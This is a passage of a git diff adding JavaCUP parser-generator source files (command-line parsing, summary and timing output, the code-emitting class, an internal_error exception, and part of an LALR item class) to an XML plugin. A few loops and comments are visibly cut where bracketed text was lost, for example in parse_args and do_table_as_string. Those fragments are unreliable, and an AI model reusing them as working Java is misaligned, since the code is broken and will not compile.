user-option + * flags and variables. + * @param argv the command line arguments to be parsed. + */ + protected static void parse_args(String argv[]) + { + int len = argv.length; + int i; + + /* parse the options */ + for (i=0; i= len || argv[i].startsWith("-") || + argv[i].endsWith(".cup")) + usage("-package must have a name argument"); + + /* record the name */ + emit.package_name = argv[i]; + } + else if (argv[i].equals("-parser")) + { + /* must have an arg */ + if (++i >= len || argv[i].startsWith("-") || + argv[i].endsWith(".cup")) + usage("-parser must have a name argument"); + + /* record the name */ + emit.parser_class_name = argv[i]; + } + else if (argv[i].equals("-symbols")) + { + /* must have an arg */ + if (++i >= len || argv[i].startsWith("-") || + argv[i].endsWith(".cup")) + usage("-symbols must have a name argument"); + + /* record the name */ + emit.symbol_const_class_name = argv[i]; + } + else if (argv[i].equals("-nonterms")) + { + include_non_terms = true; + } + else if (argv[i].equals("-expect")) + { + /* must have an arg */ + if (++i >= len || argv[i].startsWith("-") || + argv[i].endsWith(".cup")) + usage("-expect must have a name argument"); + + /* record the number */ + try { + expect_conflicts = Integer.parseInt(argv[i]); + } catch (NumberFormatException e) { + usage("-expect must be followed by a decimal integer"); + } + } + else if (argv[i].equals("-compact_red")) opt_compact_red = true; + else if (argv[i].equals("-nosummary")) no_summary = true; + else if (argv[i].equals("-nowarn")) emit.nowarn = true; + else if (argv[i].equals("-dump_states")) opt_dump_states = true; + else if (argv[i].equals("-dump_tables")) opt_dump_tables = true; + else if (argv[i].equals("-progress")) print_progress = true; + else if (argv[i].equals("-dump_grammar")) opt_dump_grammar = true; + else if (argv[i].equals("-dump")) + opt_dump_states = opt_dump_tables = opt_dump_grammar = true; + else if (argv[i].equals("-time")) opt_show_timing = true; + else if (argv[i].equals("-debug")) opt_do_debug = true; + /* frankf 6/18/96 */ + else if (argv[i].equals("-nopositions")) lr_values = false; + /* CSA 12/21/97 */ + else if (argv[i].equals("-interface")) sym_interface = true; + /* CSA 23-Jul-1999 */ + else if (argv[i].equals("-noscanner")) suppress_scanner = true; + /* CSA 23-Jul-1999 */ + else if (argv[i].equals("-version")) { + System.out.println(version.title_str); + System.exit(1); + } + /* CSA 24-Jul-1999; suggestion by Jean Vaucher */ + else if (!argv[i].startsWith("-") && i==len-1) { + /* use input from file. */ + try { + System.setIn(new FileInputStream(argv[i])); + } catch (java.io.FileNotFoundException e) { + usage("Unable to open \"" + argv[i] +"\" for input"); + } + } + else + { + usage("Unrecognized option \"" + argv[i] + "\""); + } + } + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /*-------*/ + /* Files */ + /*-------*/ + + /** Input file. This is a buffered version of System.in. */ + protected static BufferedInputStream input_file; + + /** Output file for the parser class. */ + protected static PrintWriter parser_class_file; + + /** Output file for the symbol constant class. */ + protected static PrintWriter symbol_class_file; + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Open various files used by the system. */ + protected static void open_files() + { + File fil; + String out_name; + + /* open each of the output files */ + + /* parser class */ + out_name = emit.parser_class_name + ".java"; + fil = new File(out_name); + try { + parser_class_file = new PrintWriter( + new BufferedOutputStream(new FileOutputStream(fil), 4096)); + } catch(Exception e) { + System.err.println("Can't open \"" + out_name + "\" for output"); + System.exit(3); + } + + /* symbol constants class */ + out_name = emit.symbol_const_class_name + ".java"; + fil = new File(out_name); + try { + symbol_class_file = new PrintWriter( + new BufferedOutputStream(new FileOutputStream(fil), 4096)); + } catch(Exception e) { + System.err.println("Can't open \"" + out_name + "\" for output"); + System.exit(4); + } + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Close various files used by the system. */ + protected static void close_files() throws java.io.IOException + { + if (input_file != null) input_file.close(); + if (parser_class_file != null) parser_class_file.close(); + if (symbol_class_file != null) symbol_class_file.close(); + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Parse the grammar specification from standard input. This produces + * sets of terminal, non-terminals, and productions which can be accessed + * via static variables of the respective classes, as well as the setting + * of various variables (mostly in the emit class) for small user supplied + * items such as the code to scan with. + */ + protected static void parse_grammar_spec() throws java.lang.Exception + { + parser parser_obj; + + /* create a parser and parse with it */ + parser_obj = new parser(); + try { + if (opt_do_debug) + parser_obj.debug_parse(); + else + parser_obj.parse(); + } catch (Exception e) + { + /* something threw an exception. catch it and emit a message so we + have a line number to work with, then re-throw it */ + lexer.emit_error("Internal error: Unexpected exception"); + throw e; + } + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Check for unused symbols. Unreduced productions get checked when + * tables are created. + */ + protected static void check_unused() + { + terminal term; + non_terminal nt; + + /* check for unused terminals */ + for (Enumeration t = terminal.all(); t.hasMoreElements(); ) + { + term = (terminal)t.nextElement(); + + /* don't issue a message for EOF */ + if (term == terminal.EOF) continue; + + /* or error */ + if (term == terminal.error) continue; + + /* is this one unused */ + if (term.use_count() == 0) + { + /* count it and warn if we are doing warnings */ + emit.unused_term++; + if (!emit.nowarn) + { + System.err.println("Warning: Terminal \"" + term.name() + + "\" was declared but never used"); + lexer.warning_count++; + } + } + } + + /* check for unused non terminals */ + for (Enumeration n = non_terminal.all(); n.hasMoreElements(); ) + { + nt = (non_terminal)n.nextElement(); + + /* is this one unused */ + if (nt.use_count() == 0) + { + /* count and warn if we are doing warnings */ + emit.unused_term++; + if (!emit.nowarn) + { + System.err.println("Warning: Non terminal \"" + nt.name() + + "\" was declared but never used"); + lexer.warning_count++; + } + } + } + + } + + /* . . . . . . . . . . . . . . . . . . . . . . . . .*/ + /* . . Internal Results of Generating the Parser . .*/ + /* . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Start state in the overall state machine. */ + protected static lalr_state start_state; + + /** Resulting parse action table. */ + protected static parse_action_table action_table; + + /** Resulting reduce-goto table. */ + protected static parse_reduce_table reduce_table; + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Build the (internal) parser from the previously parsed specification. + * This includes:
      + *
    • Computing nullability of non-terminals. + *
    • Computing first sets of non-terminals and productions. + *
    • Building the viable prefix recognizer machine. + *
    • Filling in the (internal) parse tables. + *
    • Checking for unreduced productions. + *
    + */ + protected static void build_parser() throws internal_error + { + /* compute nullability of all non terminals */ + if (opt_do_debug || print_progress) + System.err.println(" Computing non-terminal nullability..."); + non_terminal.compute_nullability(); + + nullability_end = System.currentTimeMillis(); + + /* compute first sets of all non terminals */ + if (opt_do_debug || print_progress) + System.err.println(" Computing first sets..."); + non_terminal.compute_first_sets(); + + first_end = System.currentTimeMillis(); + + /* build the LR viable prefix recognition machine */ + if (opt_do_debug || print_progress) + System.err.println(" Building state machine..."); + start_state = lalr_state.build_machine(emit.start_production); + + machine_end = System.currentTimeMillis(); + + /* build the LR parser action and reduce-goto tables */ + if (opt_do_debug || print_progress) + System.err.println(" Filling in tables..."); + action_table = new parse_action_table(); + reduce_table = new parse_reduce_table(); + for (Enumeration st = lalr_state.all(); st.hasMoreElements(); ) + { + lalr_state lst = (lalr_state)st.nextElement(); + lst.build_table_entries( + action_table, reduce_table); + } + + table_end = System.currentTimeMillis(); + + /* check and warn for non-reduced productions */ + if (opt_do_debug || print_progress) + System.err.println(" Checking for non-reduced productions..."); + action_table.check_reductions(); + + reduce_check_end = System.currentTimeMillis(); + + /* if we have more conflicts than we expected issue a message and die */ + if (emit.num_conflicts > expect_conflicts) + { + System.err.println("*** More conflicts encountered than expected " + + "-- parser generation aborted"); + lexer.error_count++; // indicate the problem. + // we'll die on return, after clean up. + } + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Call the emit routines necessary to write out the generated parser. */ + protected static void emit_parser() throws internal_error + { + emit.symbols(symbol_class_file, include_non_terms, sym_interface); + emit.parser(parser_class_file, action_table, reduce_table, + start_state.index(), emit.start_production, opt_compact_red, + suppress_scanner); + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Helper routine to optionally return a plural or non-plural ending. + * @param val the numerical value determining plurality. + */ + protected static String plural(int val) + { + if (val == 1) + return ""; + else + return "s"; + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Emit a long summary message to standard error (System.err) which + * summarizes what was found in the specification, how many states were + * produced, how many conflicts were found, etc. A detailed timing + * summary is also produced if it was requested by the user. + * @param output_produced did the system get far enough to generate code. + */ + protected static void emit_summary(boolean output_produced) + { + final_time = System.currentTimeMillis(); + + if (no_summary) return; + + System.err.println("------- " + version.title_str + + " Parser Generation Summary -------"); + + /* error and warning count */ + System.err.println(" " + lexer.error_count + " error" + + plural(lexer.error_count) + " and " + lexer.warning_count + + " warning" + plural(lexer.warning_count)); + + /* basic stats */ + System.err.print(" " + terminal.number() + " terminal" + + plural(terminal.number()) + ", "); + System.err.print(non_terminal.number() + " non-terminal" + + plural(non_terminal.number()) + ", and "); + System.err.println(production.number() + " production" + + plural(production.number()) + " declared, "); + System.err.println(" producing " + lalr_state.number() + + " unique parse states."); + + /* unused symbols */ + System.err.println(" " + emit.unused_term + " terminal" + + plural(emit.unused_term) + " declared but not used."); + System.err.println(" " + emit.unused_non_term + " non-terminal" + + plural(emit.unused_term) + " declared but not used."); + + /* productions that didn't reduce */ + System.err.println(" " + emit.not_reduced + " production" + + plural(emit.not_reduced) + " never reduced."); + + /* conflicts */ + System.err.println(" " + emit.num_conflicts + " conflict" + + plural(emit.num_conflicts) + " detected" + + " (" + expect_conflicts + " expected)."); + + /* code location */ + if (output_produced) + System.err.println(" Code written to \"" + emit.parser_class_name + + ".java\", and \"" + emit.symbol_const_class_name + ".java\"."); + else + System.err.println(" No code produced."); + + if (opt_show_timing) show_times(); + + System.err.println( + "---------------------------------------------------- (" + + version.version_str + ")"); + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Produce the optional timing summary as part of an overall summary. */ + protected static void show_times() + { + long total_time = final_time - start_time; + + System.err.println(". . . . . . . . . . . . . . . . . . . . . . . . . "); + System.err.println(" Timing Summary"); + System.err.println(" Total time " + + timestr(final_time-start_time, total_time)); + System.err.println(" Startup " + + timestr(prelim_end-start_time, total_time)); + System.err.println(" Parse " + + timestr(parse_end-prelim_end, total_time) ); + if (check_end != 0) + System.err.println(" Checking " + + timestr(check_end-parse_end, total_time)); + if (check_end != 0 && build_end != 0) + System.err.println(" Parser Build " + + timestr(build_end-check_end, total_time)); + if (nullability_end != 0 && check_end != 0) + System.err.println(" Nullability " + + timestr(nullability_end-check_end, total_time)); + if (first_end != 0 && nullability_end != 0) + System.err.println(" First sets " + + timestr(first_end-nullability_end, total_time)); + if (machine_end != 0 && first_end != 0) + System.err.println(" State build " + + timestr(machine_end-first_end, total_time)); + if (table_end != 0 && machine_end != 0) + System.err.println(" Table build " + + timestr(table_end-machine_end, total_time)); + if (reduce_check_end != 0 && table_end != 0) + System.err.println(" Checking " + + timestr(reduce_check_end-table_end, total_time)); + if (emit_end != 0 && build_end != 0) + System.err.println(" Code Output " + + timestr(emit_end-build_end, total_time)); + if (emit.symbols_time != 0) + System.err.println(" Symbols " + + timestr(emit.symbols_time, total_time)); + if (emit.parser_time != 0) + System.err.println(" Parser class " + + timestr(emit.parser_time, total_time)); + if (emit.action_code_time != 0) + System.err.println(" Actions " + + timestr(emit.action_code_time, total_time)); + if (emit.production_table_time != 0) + System.err.println(" Prod table " + + timestr(emit.production_table_time, total_time)); + if (emit.action_table_time != 0) + System.err.println(" Action tab " + + timestr(emit.action_table_time, total_time)); + if (emit.goto_table_time != 0) + System.err.println(" Reduce tab " + + timestr(emit.goto_table_time, total_time)); + + System.err.println(" Dump Output " + + timestr(dump_end-emit_end, total_time)); + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Helper routine to format a decimal based display of seconds and + * percentage of total time given counts of milliseconds. Note: this + * is broken for use with some instances of negative time (since we don't + * use any negative time here, we let if be for now). + * @param time_val the value being formatted (in ms). + * @param total_time total time percentages are calculated against (in ms). + */ + protected static String timestr(long time_val, long total_time) + { + boolean neg; + long ms = 0; + long sec = 0; + long percent10; + String pad; + + /* work with positives only */ + neg = time_val < 0; + if (neg) time_val = -time_val; + + /* pull out seconds and ms */ + ms = time_val % 1000; + sec = time_val / 1000; + + /* construct a pad to blank fill seconds out to 4 places */ + if (sec < 10) + pad = " "; + else if (sec < 100) + pad = " "; + else if (sec < 1000) + pad = " "; + else + pad = ""; + + /* calculate 10 times the percentage of total */ + percent10 = (time_val*1000)/total_time; + + /* build and return the output string */ + return (neg ? "-" : "") + pad + sec + "." + + ((ms%1000)/100) + ((ms%100)/10) + (ms%10) + "sec" + + " (" + percent10/10 + "." + percent10%10 + "%)"; + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Produce a human readable dump of the grammar. */ + public static void dump_grammar() throws internal_error + { + System.err.println("===== Terminals ====="); + for (int tidx=0, cnt=0; tidx < terminal.number(); tidx++, cnt++) + { + System.err.print("["+tidx+"]"+terminal.find(tidx).name()+" "); + if ((cnt+1) % 5 == 0) System.err.println(); + } + System.err.println(); + System.err.println(); + + System.err.println("===== Non terminals ====="); + for (int nidx=0, cnt=0; nidx < non_terminal.number(); nidx++, cnt++) + { + System.err.print("["+nidx+"]"+non_terminal.find(nidx).name()+" "); + if ((cnt+1) % 5 == 0) System.err.println(); + } + System.err.println(); + System.err.println(); + + + System.err.println("===== Productions ====="); + for (int pidx=0; pidx < production.number(); pidx++) + { + production prod = production.find(pidx); + System.err.print("["+pidx+"] "+prod.lhs().the_symbol().name() + " ::= "); + for (int i=0; i + * + * Three classes are produced by this code: + *
    + *
    symbol constant class + *
    this contains constant declarations for each terminal (and + * optionally each non-terminal). + *
    action class + *
    this non-public class contains code to invoke all the user actions + * that were embedded in the parser specification. + *
    parser class + *
    the specialized parser class consisting primarily of some user + * supplied general and initialization code, and the parse tables. + *

    + * + * Three parse tables are created as part of the parser class: + *

    + *
    production table + *
    lists the LHS non terminal number, and the length of the RHS of + * each production. + *
    action table + *
    for each state of the parse machine, gives the action to be taken + * (shift, reduce, or error) under each lookahead symbol.
    + *
    reduce-goto table + *
    when a reduce on a given production is taken, the parse stack is + * popped back a number of elements corresponding to the RHS of the + * production. This reveals a prior state, which we transition out + * of under the LHS non terminal symbol for the production (as if we + * had seen the LHS symbol rather than all the symbols matching the + * RHS). This table is indexed by non terminal numbers and indicates + * how to make these transitions. + *

    + * + * In addition to the method interface, this class maintains a series of + * public global variables and flags indicating how misc. parts of the code + * and other output is to be produced, and counting things such as number of + * conflicts detected (see the source code and public variables below for + * more details).

    + * + * This class is "static" (contains only static data and methods).

    + * + * @see java_cup.main + * @version last update: 11/25/95 + * @author Scott Hudson + */ + +/* Major externally callable routines here include: + symbols - emit the symbol constant class + parser - emit the parser class + + In addition the following major internal routines are provided: + emit_package - emit a package declaration + emit_action_code - emit the class containing the user's actions + emit_production_table - emit declaration and init for the production table + do_action_table - emit declaration and init for the action table + do_reduce_table - emit declaration and init for the reduce-goto table + + Finally, this class uses a number of public instance variables to communicate + optional parameters and flags used to control how code is generated, + as well as to report counts of various things (such as number of conflicts + detected). These include: + + prefix - a prefix string used to prefix names that would + otherwise "pollute" someone else's name space. + package_name - name of the package emitted code is placed in + (or null for an unnamed package. + symbol_const_class_name - name of the class containing symbol constants. + parser_class_name - name of the class for the resulting parser. + action_code - user supplied declarations and other code to be + placed in action class. + parser_code - user supplied declarations and other code to be + placed in parser class. + init_code - user supplied code to be executed as the parser + is being initialized. + scan_code - user supplied code to get the next Symbol. + start_production - the start production for the grammar. + import_list - list of imports for use with action class. + num_conflicts - number of conflicts detected. + nowarn - true if we are not to issue warning messages. + not_reduced - count of number of productions that never reduce. + unused_term - count of unused terminal symbols. + unused_non_term - count of unused non terminal symbols. + *_time - a series of symbols indicating how long various + sub-parts of code generation took (used to produce + optional time reports in main). +*/ + +public class emit { + + /*-----------------------------------------------------------*/ + /*--- Constructor(s) ----------------------------------------*/ + /*-----------------------------------------------------------*/ + + /** Only constructor is private so no instances can be created. */ + private emit() { } + + /*-----------------------------------------------------------*/ + /*--- Static (Class) Variables ------------------------------*/ + /*-----------------------------------------------------------*/ + + /** The prefix placed on names that pollute someone else's name space. */ + public static String prefix = "CUP$"; + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Package that the resulting code goes into (null is used for unnamed). */ + public static String package_name = null; + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Name of the generated class for symbol constants. */ + public static String symbol_const_class_name = "sym"; + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Name of the generated parser class. */ + public static String parser_class_name = "parser"; + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** User declarations for direct inclusion in user action class. */ + public static String action_code = null; + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** User declarations for direct inclusion in parser class. */ + public static String parser_code = null; + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** User code for user_init() which is called during parser initialization. */ + public static String init_code = null; + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** User code for scan() which is called to get the next Symbol. */ + public static String scan_code = null; + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** The start production of the grammar. */ + public static production start_production = null; + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** List of imports (Strings containing class names) to go with actions. */ + public static Stack import_list = new Stack(); + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Number of conflict found while building tables. */ + public static int num_conflicts = 0; + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Do we skip warnings? */ + public static boolean nowarn = false; + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Count of the number on non-reduced productions found. */ + public static int not_reduced = 0; + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Count of unused terminals. */ + public static int unused_term = 0; + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Count of unused non terminals. */ + public static int unused_non_term = 0; + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /* Timing values used to produce timing report in main.*/ + + /** Time to produce symbol constant class. */ + public static long symbols_time = 0; + + /** Time to produce parser class. */ + public static long parser_time = 0; + + /** Time to produce action code class. */ + public static long action_code_time = 0; + + /** Time to produce the production table. */ + public static long production_table_time = 0; + + /** Time to produce the action table. */ + public static long action_table_time = 0; + + /** Time to produce the reduce-goto table. */ + public static long goto_table_time = 0; + + /* frankf 6/18/96 */ + protected static boolean _lr_values; + + /** whether or not to emit code for left and right values */ + public static boolean lr_values() {return _lr_values;} + protected static void set_lr_values(boolean b) { _lr_values = b;} + + /*-----------------------------------------------------------*/ + /*--- General Methods ---------------------------------------*/ + /*-----------------------------------------------------------*/ + + /** Build a string with the standard prefix. + * @param str string to prefix. + */ + protected static String pre(String str) { + return prefix + parser_class_name + "$" + str; + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Emit a package spec if the user wants one. + * @param out stream to produce output on. + */ + protected static void emit_package(PrintWriter out) + { + /* generate a package spec if we have a name for one */ + if (package_name != null) { + out.println("package " + package_name + ";"); out.println(); + } + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Emit code for the symbol constant class, optionally including non terms, + * if they have been requested. + * @param out stream to produce output on. + * @param emit_non_terms do we emit constants for non terminals? + * @param sym_interface should we emit an interface, rather than a class? + */ + public static void symbols(PrintWriter out, + boolean emit_non_terms, boolean sym_interface) + { + terminal term; + non_terminal nt; + String class_or_interface = (sym_interface)?"interface":"class"; + + long start_time = System.currentTimeMillis(); + + /* top of file */ + out.println(); + out.println("//----------------------------------------------------"); + out.println("// The following code was generated by " + + version.title_str); + out.println("// " + new Date()); + out.println("//----------------------------------------------------"); + out.println(); + emit_package(out); + + /* class header */ + out.println("/** CUP generated " + class_or_interface + + " containing symbol constants. */"); + out.println("public " + class_or_interface + " " + + symbol_const_class_name + " {"); + + out.println(" /* terminals */"); + + /* walk over the terminals */ /* later might sort these */ + for (Enumeration e = terminal.all(); e.hasMoreElements(); ) + { + term = (terminal)e.nextElement(); + + /* output a constant decl for the terminal */ + out.println(" public static final int " + term.name() + " = " + + term.index() + ";"); + } + + /* do the non terminals if they want them (parser doesn't need them) */ + if (emit_non_terms) + { + out.println(); + out.println(" /* non terminals */"); + + /* walk over the non terminals */ /* later might sort these */ + for (Enumeration e = non_terminal.all(); e.hasMoreElements(); ) + { + nt = (non_terminal)e.nextElement(); + + /* output a constant decl for the terminal */ + out.println(" static final int " + nt.name() + " = " + + nt.index() + ";"); + } + } + + /* end of class */ + out.println("}"); + out.println(); + + symbols_time = System.currentTimeMillis() - start_time; + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Emit code for the non-public class holding the actual action code. + * @param out stream to produce output on. + * @param start_prod the start production of the grammar. + */ + protected static void emit_action_code(PrintWriter out, production start_prod) + throws internal_error + { + production prod; + + long start_time = System.currentTimeMillis(); + + /* class header */ + out.println(); + out.println( + "/** Cup generated class to encapsulate user supplied action code.*/" + ); + out.println("class " + pre("actions") + " {"); + + /* user supplied code */ + if (action_code != null) + { + out.println(); + out.println(action_code); + } + + /* field for parser object */ + out.println(" private final "+parser_class_name+" parser;"); + + /* constructor */ + out.println(); + out.println(" /** Constructor */"); + out.println(" " + pre("actions") + "("+parser_class_name+" parser) {"); + out.println(" this.parser = parser;"); + out.println(" }"); + + /* action method head */ + out.println(); + out.println(" /** Method with the actual generated action code. */"); + out.println(" public final java_cup.runtime.Symbol " + + pre("do_action") + "("); + out.println(" int " + pre("act_num,")); + out.println(" java_cup.runtime.lr_parser " + pre("parser,")); + out.println(" java.util.Stack " + pre("stack,")); + out.println(" int " + pre("top)")); + out.println(" throws java.lang.Exception"); + out.println(" {"); + + /* declaration of result symbol */ + /* New declaration!! now return Symbol + 6/13/96 frankf */ + out.println(" /* Symbol object for return from actions */"); + out.println(" java_cup.runtime.Symbol " + pre("result") + ";"); + out.println(); + + /* switch top */ + out.println(" /* select the action based on the action number */"); + out.println(" switch (" + pre("act_num") + ")"); + out.println(" {"); + + /* emit action code for each production as a separate case */ + for (Enumeration p = production.all(); p.hasMoreElements(); ) + { + prod = (production)p.nextElement(); + + /* case label */ + out.println(" /*. . . . . . . . . . . . . . . . . . . .*/"); + out.println(" case " + prod.index() + ": // " + + prod.to_simple_string()); + + /* give them their own block to work in */ + out.println(" {"); + + /* create the result symbol */ + /*make the variable RESULT which will point to the new Symbol (see below) + and be changed by action code + 6/13/96 frankf */ + out.println(" " + prod.lhs().the_symbol().stack_type() + + " RESULT = null;"); + + /* Add code to propagate RESULT assignments that occur in + * action code embedded in a production (ie, non-rightmost + * action code). 24-Mar-1998 CSA + */ + for (int i=0; ireduce_goto table. */"); + out.println(" protected static final short[][] _reduce_table = "); + out.print (" unpackFromStrings("); + do_table_as_string(out, reduce_goto_table); + out.println(");"); + + /* do the public accessor method */ + out.println(); + out.println(" /** Access to reduce_goto table. */"); + out.println(" public short[][] reduce_table() {return _reduce_table;}"); + out.println(); + + goto_table_time = System.currentTimeMillis() - start_time; + } + + // print a string array encoding the given short[][] array. + protected static void do_table_as_string(PrintWriter out, short[][] sa) { + out.println("new String[] {"); + out.print(" \""); + int nchar=0, nbytes=0; + nbytes+=do_escaped(out, (char)(sa.length>>16)); + nchar =do_newline(out, nchar, nbytes); + nbytes+=do_escaped(out, (char)(sa.length&0xFFFF)); + nchar =do_newline(out, nchar, nbytes); + for (int i=0; i>16)); + nchar =do_newline(out, nchar, nbytes); + nbytes+=do_escaped(out, (char)(sa[i].length&0xFFFF)); + nchar =do_newline(out, nchar, nbytes); + for (int j=0; j 65500) { out.println("\", "); out.print(" \""); } + else if (nchar > 11) { out.println("\" +"); out.print(" \""); } + else return nchar+1; + return 0; + } + // output an escape sequence for the given character code. + protected static int do_escaped(PrintWriter out, char c) { + StringBuffer escape = new StringBuffer(); + if (c <= 0xFF) { + escape.append(Integer.toOctalString(c)); + while(escape.length() < 3) escape.insert(0, '0'); + } else { + escape.append(Integer.toHexString(c)); + while(escape.length() < 4) escape.insert(0, '0'); + escape.insert(0, 'u'); + } + escape.insert(0, '\\'); + out.print(escape.toString()); + + // return number of bytes this takes up in UTF-8 encoding. + if (c == 0) return 2; + if (c >= 0x01 && c <= 0x7F) return 1; + if (c >= 0x80 && c <= 0x7FF) return 2; + return 3; + } + + /*. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .*/ + + /** Emit the parser subclass with embedded tables. + * @param out stream to produce output on. + * @param action_table internal representation of the action table. + * @param reduce_table internal representation of the reduce-goto table. + * @param start_st start state of the parse machine. + * @param start_prod start production of the grammar. + * @param compact_reduces do we use most frequent reduce as default? + * @param suppress_scanner should scanner be suppressed for compatibility? + */ + public static void parser( + PrintWriter out, + parse_action_table action_table, + parse_reduce_table reduce_table, + int start_st, + production start_prod, + boolean compact_reduces, + boolean suppress_scanner) + throws internal_error + { + long start_time = System.currentTimeMillis(); + + /* top of file */ + out.println(); + out.println("//----------------------------------------------------"); + out.println("// The following code was generated by " + + version.title_str); + out.println("// " + new Date()); + out.println("//----------------------------------------------------"); + out.println(); + emit_package(out); + + /* user supplied imports */ + for (int i = 0; i < import_list.size(); i++) + out.println("import " + import_list.elementAt(i) + ";"); + + /* class header */ + out.println(); + out.println("/** "+version.title_str+" generated parser."); + out.println(" * @version " + new Date()); + out.println(" */"); + out.println("public class " + parser_class_name + + " extends java_cup.runtime.lr_parser {"); + + /* constructors [CSA/davidm, 24-jul-99] */ + out.println(); + out.println(" /** Default constructor. */"); + out.println(" public " + parser_class_name + "() {super();}"); + if (!suppress_scanner) { + out.println(); + out.println(" /** Constructor which sets the default scanner. */"); + out.println(" public " + parser_class_name + + "(java_cup.runtime.Scanner s) {super(s);}"); + } + + /* emit the various tables */ + emit_production_table(out); + do_action_table(out, action_table, compact_reduces); + do_reduce_table(out, reduce_table); + + /* instance of the action encapsulation class */ + out.println(" /** Instance of action encapsulation class. */"); + out.println(" protected " + pre("actions") + " action_obj;"); + out.println(); + + /* action object initializer */ + out.println(" /** Action encapsulation object initializer. */"); + out.println(" protected void init_actions()"); + out.println(" {"); + out.println(" action_obj = new " + pre("actions") + "(this);"); + out.println(" }"); + out.println(); + + /* access to action code */ + out.println(" /** Invoke a user supplied parse action. */"); + out.println(" public java_cup.runtime.Symbol do_action("); + out.println(" int act_num,"); + out.println(" java_cup.runtime.lr_parser parser,"); + out.println(" java.util.Stack stack,"); + out.println(" int top)"); + out.println(" throws java.lang.Exception"); + out.println(" {"); + out.println(" /* call code in generated class */"); + out.println(" return action_obj." + pre("do_action(") + + "act_num, parser, stack, top);"); + out.println(" }"); + out.println(""); + + + /* method to tell the parser about the start state */ + out.println(" /** Indicates start state. */"); + out.println(" public int start_state() {return " + start_st + ";}"); + + /* method to indicate start production */ + out.println(" /** Indicates start production. */"); + out.println(" public int start_production() {return " + + start_production.index() + ";}"); + out.println(); + + /* methods to indicate EOF and error symbol indexes */ + out.println(" /** EOF Symbol index. */"); + out.println(" public int EOF_sym() {return " + terminal.EOF.index() + + ";}"); + out.println(); + out.println(" /** error Symbol index. */"); + out.println(" public int error_sym() {return " + terminal.error.index() + + ";}"); + out.println(); + + /* user supplied code for user_init() */ + if (init_code != null) + { + out.println(); + out.println(" /** User initialization code. */"); + out.println(" public void user_init() throws java.lang.Exception"); + out.println(" {"); + out.println(init_code); + out.println(" }"); + } + + /* user supplied code for scan */ + if (scan_code != null) + { + out.println(); + out.println(" /** Scan to get the next Symbol. */"); + out.println(" public java_cup.runtime.Symbol scan()"); + out.println(" throws java.lang.Exception"); + out.println(" {"); + out.println(scan_code); + out.println(" }"); + } + + /* user supplied code */ + if (parser_code != null) + { + out.println(); + out.println(parser_code); + } + + /* end of class */ + out.println("}"); + + /* put out the action code class */ + emit_action_code(out, start_prod); + + parser_time = System.currentTimeMillis() - start_time; + } + + /*-----------------------------------------------------------*/ +} diff --git a/base_plugins/net.heartsome.xml/src/java_cup/internal_error.java b/base_plugins/net.heartsome.xml/src/java_cup/internal_error.java new file mode 100644 index 0000000..8a297db --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/java_cup/internal_error.java @@ -0,0 +1,22 @@ + +package java_cup; + +/** Exception subclass for reporting internal errors in JavaCup. */ +public class internal_error extends Exception + { + /** Constructor with a message */ + public internal_error(String msg) + { + super(msg); + } + + /** Method called to do a forced error exit on an internal error + for cases when we can't actually throw the exception. */ + public void crash() + { + System.err.println("JavaCUP Fatal Internal Error Detected"); + System.err.println(getMessage()); + printStackTrace(); + System.exit(-1); + } + } diff --git a/base_plugins/net.heartsome.xml/src/java_cup/lalr_item.java b/base_plugins/net.heartsome.xml/src/java_cup/lalr_item.java new file mode 100644 index 0000000..ce8fc03 --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/java_cup/lalr_item.java @@ -0,0 +1,330 @@ +package java_cup; + +import java.util.Stack; +import java.util.Enumeration; + +/** This class represents an LALR item. Each LALR item consists of + * a production, a "dot" at a position within that production, and + * a set of lookahead symbols (terminal). (The first two of these parts + * are provide by the super class). An item is designed to represent a + * configuration that the parser may be in. For example, an item of the + * form:

    + *    [A ::= B * C d E  , {a,b,c}]
    + *  
    + * indicates that the parser is in the middle of parsing the production
    + *    A ::= B C d E
    + *  
    + * that B has already been parsed, and that we will expect to see a lookahead + * of either a, b, or c once the complete RHS of this production has been + * found.

